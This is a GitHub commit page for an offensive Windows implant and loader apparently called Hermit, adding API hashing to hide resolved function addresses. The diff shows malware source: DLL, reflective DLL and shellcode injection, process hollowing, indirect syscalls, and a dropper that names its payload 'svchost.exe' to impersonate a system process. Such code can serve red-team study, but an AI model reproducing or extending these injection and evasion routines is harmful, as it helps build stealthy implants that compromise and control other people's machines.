Skip to content

Commit

Permalink
Add API Hashing to resolve function addresses for implant and loader
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed May 9, 2024
1 parent a2178a2 commit 4be88c9
Show file tree
Hide file tree
Showing 22 changed files with 1,018 additions and 212 deletions.
7 changes: 6 additions & 1 deletion payload/win/implant/include/core/procs.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -296,7 +296,12 @@ namespace Procs
};
typedef PROCS* PPROCS;

PPROCS FindProcs(HMODULE hKernel32DLL, HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls);
PPROCS FindProcs(
HMODULE hNTDLL,
HMODULE hKernel32DLL,
HMODULE hWinHTTPDLL,
BOOL bIndirectSyscalls
);
}

#endif // HERMIT_CORE_PROCS_HPP
27 changes: 12 additions & 15 deletions payload/win/implant/include/core/technique.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -26,35 +26,32 @@ namespace Technique::Injection
{
// DLL
BOOL DllInjection(
Procs::PPROCS pProcs,
DWORD dwPID,
std::vector<BYTE> bytes
Procs::PPROCS pProcs,
DWORD dwPID,
const std::vector<BYTE>& bytes
);
BOOL ReflectiveDLLInjection(
Procs::PPROCS pProcs,
DWORD dwPID,
std::vector<BYTE> bytes
Procs::PPROCS pProcs,
DWORD dwPID,
const std::vector<BYTE>& bytes
);

// PE
BOOL DirectExecution(
Procs::PPROCS pProcs,
std::vector<BYTE> bytes
);
BOOL PEInjection(
Procs::PPROCS pProcs
Procs::PPROCS pProcs,
const std::vector<BYTE>& bytes
);
BOOL ProcessHollowing(
Procs::PPROCS pProcs,
LPVOID lpBuffer,
const std::wstring &wTargetProcess
Procs::PPROCS pProcs,
const std::wstring& wTargetProcess,
const std::vector<BYTE>& bytes
);

// Shellcode
BOOL ShellcodeInjection(
Procs::PPROCS pProcs,
DWORD dwPID,
const std::vector<BYTE>& shellcode
const std::vector<BYTE>& bytes
);
}

Expand Down
8 changes: 6 additions & 2 deletions payload/win/implant/src/core/procs.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,12 @@

namespace Procs
{
PPROCS FindProcs(HMODULE hKernel32DLL, HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls)
{
PPROCS FindProcs(
HMODULE hNTDLL,
HMODULE hKernel32DLL,
HMODULE hWinHTTPDLL,
BOOL bIndirectSyscalls
) {
PPROCS pProcs = new PROCS;

// NT APIs
Expand Down
4 changes: 2 additions & 2 deletions payload/win/implant/src/core/task/pe.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -41,8 +41,8 @@ namespace Task
{
if (!Technique::Injection::ProcessHollowing(
pState->pProcs,
(LPVOID)bytes.data(),
wTargetProcess
wTargetProcess,
bytes
)) {
return L"Error: Failed to inject an executable.";
}
Expand Down
24 changes: 12 additions & 12 deletions payload/win/implant/src/core/technique/injection/dll_injection.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -85,9 +85,9 @@ namespace Technique::Injection::Helper
namespace Technique::Injection
{
BOOL DllInjection(
Procs::PPROCS pProcs,
DWORD dwPID,
std::vector<BYTE> bytes
Procs::PPROCS pProcs,
DWORD dwPID,
const std::vector<BYTE>& bytes
) {
HANDLE hProcess;
HANDLE hThread;
Expand Down Expand Up @@ -205,12 +205,12 @@ namespace Technique::Injection
}

BOOL ReflectiveDLLInjection(
Procs::PPROCS pProcs,
DWORD dwPID,
std::vector<BYTE> bytes
Procs::PPROCS pProcs,
DWORD dwPID,
const std::vector<BYTE>& bytes
) {
LPVOID lpBuffer = bytes.data();
SIZE_T dwLength = bytes.size();
LPVOID lpBuffer = (LPVOID)bytes.data();
SIZE_T dwBufferSize = bytes.size();

HANDLE hToken;
TOKEN_PRIVILEGES priv = {0};
Expand Down Expand Up @@ -246,7 +246,7 @@ namespace Technique::Injection
pProcs,
hProcess,
nullptr,
dwLength,
dwBufferSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
Expand All @@ -263,9 +263,9 @@ namespace Technique::Injection
hProcess,
lpRemoteBuffer,
lpBuffer,
dwLength,
dwBufferSize,
&dwNumberOfWritten
) || dwNumberOfWritten != dwLength) {
) || dwNumberOfWritten != dwBufferSize) {
System::Process::VirtualMemoryFree(pProcs, hProcess, &lpRemoteBuffer, 0, MEM_RELEASE);
System::Handle::HandleClose(pProcs, hProcess);
return FALSE;
Expand All @@ -277,7 +277,7 @@ namespace Technique::Injection
pProcs,
hProcess,
&lpRemoteBuffer,
&dwLength,
&dwBufferSize,
PAGE_EXECUTE_READWRITE,
&dwOldProtect
)) {
Expand Down
20 changes: 6 additions & 14 deletions payload/win/implant/src/core/technique/injection/pe_injection.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@
namespace Technique::Injection
{
BOOL DirectExecution(
Procs::PPROCS pProcs,
std::vector<BYTE> bytes
Procs::PPROCS pProcs,
const std::vector<BYTE>& bytes
) {
// Set the temp file path
std::wstring wExeFileName = L"svchost.exe"; // Impersonate the file name.
Expand All @@ -19,25 +19,17 @@ namespace Technique::Injection
return System::Process::ExecuteFile(pProcs, wExePath);
}

// Reference:
// https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes
BOOL PEInjection(
Procs::PPROCS pProcs
) {
// TODO: Implement
return FALSE;
}

// References:
// https://github.com/NATsCodes/ProcessHollowing/blob/master/Process%20Hollowing.cpp
BOOL ProcessHollowing(
Procs::PPROCS pProcs,
LPVOID lpBuffer,
const std::wstring &wTargetProcess
Procs::PPROCS pProcs,
const std::wstring &wTargetProcess,
const std::vector<BYTE>& bytes
) {
NTSTATUS status;

// Read source EXE file
LPVOID lpBuffer = (LPVOID)bytes.data();
LPBYTE lpbBuffer = (LPBYTE)lpBuffer;

// Create destination (suspended) process to be hollowed
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,14 +2,17 @@

namespace Technique::Injection
{
BOOL ShellcodeInjection(Procs::PPROCS pProcs, DWORD dwPID, const std::vector<BYTE>& shellcode)
BOOL ShellcodeInjection(
Procs::PPROCS pProcs,
DWORD dwPID,
const std::vector<BYTE>& bytes)
{
HANDLE hProcess;
HANDLE hThread;
LPVOID lpRemoteBuffer;

LPVOID lpBuffer = (LPVOID)shellcode.data();
SIZE_T dwBufferLen = shellcode.size();
LPVOID lpBuffer = (LPVOID)bytes.data();
SIZE_T dwBufferLen = bytes.size();

hProcess = System::Process::ProcessOpen(
pProcs,
Expand Down
14 changes: 6 additions & 8 deletions payload/win/implant/src/hermit.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -22,18 +22,16 @@ namespace Hermit
LPCWSTR lpKey,
LPCWSTR lpIV
) {
HMODULE hKernel32DLL = LoadLibrary(L"kernel32.dll");
if (!hKernel32DLL)
{
return;
}

HMODULE hNTDLL = LoadLibrary(L"ntdll.dll");
if (!hNTDLL)
{
return;
}

HMODULE hKernel32DLL = LoadLibrary(L"kernel32.dll");
if (!hKernel32DLL)
{
return;
}
HMODULE hWinHTTPDLL = LoadLibrary(L"winhttp.dll");
if (!hWinHTTPDLL)
{
Expand All @@ -48,7 +46,7 @@ namespace Hermit
pState->hKernel32DLL = hKernel32DLL;
pState->hNTDLL = hNTDLL;
pState->hWinHTTPDLL = hWinHTTPDLL;
pState->pProcs = Procs::FindProcs(hKernel32DLL, hNTDLL, hWinHTTPDLL, bIndirectSyscalls);
pState->pProcs = Procs::FindProcs(hNTDLL, hKernel32DLL, hWinHTTPDLL, bIndirectSyscalls);
pState->hInstance = hInstance;
pState->nCmdShow = nCmdShow;
pState->lpPayloadType = lpPayloadType;
Expand Down
2 changes: 1 addition & 1 deletion payload/win/loader/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -85,7 +85,7 @@ elseif(${PAYLOAD_TYPE} STREQUAL \"shellcode-loader\")
endif()

# LINK LIBRATILIES
link_libraries(bcrypt crypt32 winhttp wsock32)
link_libraries(bcrypt crypt32 psapi winhttp wsock32)

# ADD
if(${PAYLOAD_FORMAT} STREQUAL "dll")
Expand Down
75 changes: 72 additions & 3 deletions payload/win/loader/include/core/procs.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,66 @@
#define HERMIT_CORE_PROCS_HPP

#include "core/ntdll.hpp"
#include "core/stdout.hpp"
#include "core/syscalls.hpp"

#include <winternl.h>
#include <windows.h>
#include <winhttp.h>
#include <string>
#include <cstring>

#define APIHASH_NTCREATEPROCESSEX 0xbd003d8b
#define APIHASH_NTOPENPROCESS 0x64e24f6a
#define APIHASH_NTOPENPROCESSTOKEN 0xcdd9f7af
#define APIHASH_NTTERMINATEPROCESS 0xc58a7b49
#define APIHASH_NTQUERYINFORMATIONPROCESS 0xa79c59b0
#define APIHASH_NTSETINFORMATIONPROCESS 0xb5d02d0a
#define APIHASH_NTCREATETHREADEX 0x2afc9934
#define APIHASH_NTOPENTHREAD 0xa58f60af
#define APIHASH_NTRESUMETHREAD 0x8bad8d92
#define APIHASH_NTGETCONTEXTTHREAD 0x904d345e
#define APIHASH_NTSETCONTEXTTHREAD 0x25df9cd2
#define APIHASH_NTALLOCATEVIRTUALMEMORYEX 0x28af7fe7
#define APIHASH_NTREADVIRTUALMEMORY 0x88bc3b5b
#define APIHASH_NTWRITEVIRTUALMEMORY 0x7c61e008
#define APIHASH_NTPROTECTVIRTUALMEMORY 0xa7df2bd8
#define APIHASH_NTFREEVIRTUALMEMORY 0xb6eb4645
#define APIHASH_NTDUPLICATEOBJECT 0xae23334f
#define APIHASH_NTWAITFORSINGLEOBJECT 0x73c87a00
#define APIHASH_NTCLOSE 0x6f18e5dd
#define APIHASH_NTCREATEFILE 0x2f4d94d3
#define APIHASH_NTREADFILE 0xc363b2ad
#define APIHASH_NTWRITEFILE 0x9339e2e0
#define APIHASH_NTCREATENAMEDPIPEFILE 0x333974ac
#define APIHASH_NTQUERYINFORMATIONFILE 0x6226c85b
#define APIHASH_NTSETINFORMATIONFILE 0x52a8041
#define APIHASH_NTUNMAPVIEWOFSECTION 0x574e9fc1
#define APIHASH_RTLALLOCATEHEAP 0xcc7755e
#define APIHASH_RTLZEROMEMORY 0x899c0d1e
#define APIHASH_RTLINITUNICODESTRING 0x4dc9caa9
#define APIHASH_RTLSTRINGCATW 0x333f6b47
#define APIHASH_RTLSTRINGCCHCOPYW 0x32231e60
#define APIHASH_RTLSTRINGCCHLENGTHW 0x28821d8f
#define APIHASH_RTLQUERYSYSTEMINFORMATION 0xf6044a6a
#define APIHASH_RTLEXPANDENVIRONMENTSTRINGS 0xb73f443e
#define APIHASH_RTLGETFULLPATHNAME_U 0x2116c216
#define APIHASH_CREATETHREADPOOLWAIT 0x7a8370ac
#define APIHASH_SETTHREADPOOLWAIT 0x5f2a3808
#define APIHASH_WINHTTPOPEN 0x97451379
#define APIHASH_WINHTTPCONNECT 0xe18b30db
#define APIHASH_WINHTTPOPENREQUEST 0xd6cffcd6
#define APIHASH_WINHTTPSETOPTION 0x48ed79a8
#define APIHASH_WINHTTPSENDREQUEST 0x79792358
#define APIHASH_WINHTTPWRITEDATA 0xeed55fda
#define APIHASH_WINHTTPRECEIVERESPONSE 0x66131eb5
#define APIHASH_WINHTTPQUERYHEADERS 0xe17c65cd
#define APIHASH_WINHTTPQUERYDATAAVAILABLE 0xff301fc6
#define APIHASH_WINHTTPREADDATA 0x70389c8f
#define APIHASH_WINHTTPCLOSEHANDLE 0x22081731

#define HASH_IV 0x35
#define RANDOM_ADDR 0xab10f29f

typedef struct _PS_ATTRIBUTE
{
Expand Down Expand Up @@ -106,6 +160,10 @@ namespace Procs
typedef NTSTATUS (NTAPI* LPPROC_RTLGETFULLPATHNAME_U)(PCWSTR FileName, ULONG BufferLength, PWSTR Buffer, PWSTR *FilePart);

// **WINAPIs**
// CreateThreadpoolWait
typedef PTP_WAIT (WINAPI* LPPROC_CREATETHREADPOOLWAIT)(PTP_WAIT_CALLBACK pfnwa, PVOID pv, PTP_CALLBACK_ENVIRON pcbe);
// SetThreadpoolWait
typedef VOID (WINAPI* LPPROC_SETTHREADPOOLWAIT)(PTP_WAIT pwa, HANDLE h, PFILETIME pftTimeout);
// WinHttpOpen
typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags);
// WinHttpConnect
Expand All @@ -131,7 +189,7 @@ namespace Procs

struct PROCS
{
// **NATIVE APIs**
// **NATIVE APIs**
LPPROC_NTCREATEPROCESSEX lpNtCreateProcessEx = nullptr;
LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr;
LPPROC_NTOPENPROCESSTOKEN lpNtOpenProcessToken = nullptr;
Expand Down Expand Up @@ -168,10 +226,11 @@ namespace Procs
LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr;
LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr;
LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr;
LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr;
LPPROC_RTLGETFULLPATHNAME_U lpRtlGetFullPathName_U = nullptr;

// **WINAPIs**
LPPROC_CREATETHREADPOOLWAIT lpCreateThreadpoolWait = nullptr;
LPPROC_SETTHREADPOOLWAIT lpSetThreadpoolWait = nullptr;
LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr;
LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr;
LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr;
Expand Down Expand Up @@ -215,7 +274,17 @@ namespace Procs

typedef PROCS* PPROCS;

PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls);
DWORD GetHashFromString(char* str);
PVOID GetProcAddressByHash(
HMODULE hModule,
DWORD dwHash
);
PPROCS FindProcs(
HMODULE hNTDLL,
HMODULE hKernel32DLL,
HMODULE hWinHTTPDLL,
BOOL bIndirectSyscalls
);
}

#endif // HERMIT_CORE_PROCS_HPP
1 change: 1 addition & 0 deletions payload/win/loader/include/core/state.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ namespace State
Crypt::PCRYPT pCrypt;

// Module handlers
HMODULE hKernel32DLL;
HMODULE hNTDLL;
HMODULE hWinHTTPDLL;

Expand Down
3 changes: 2 additions & 1 deletion payload/win/loader/include/core/syscalls.hpp
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#ifndef HERMIT_CORE_SYSCALLS_HPP
#define HERMIT_CORE_SYSCALLS_HPP

#include "core/stdout.hpp"
#include "core/utils.hpp"

#include <winternl.h>
Expand Down Expand Up @@ -39,7 +40,7 @@ namespace Syscalls
};
typedef SYSCALL* PSYSCALL;

SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc);
SYSCALL FindSyscall(UINT_PTR pNtFuncAddr);
WORD FindSyscallFromImageBase(
PVOID pModuleBase,
PIMAGE_EXPORT_DIRECTORY pExportDir,
Expand Down
Loading

0 comments on commit 4be88c9

Please sign in to comment.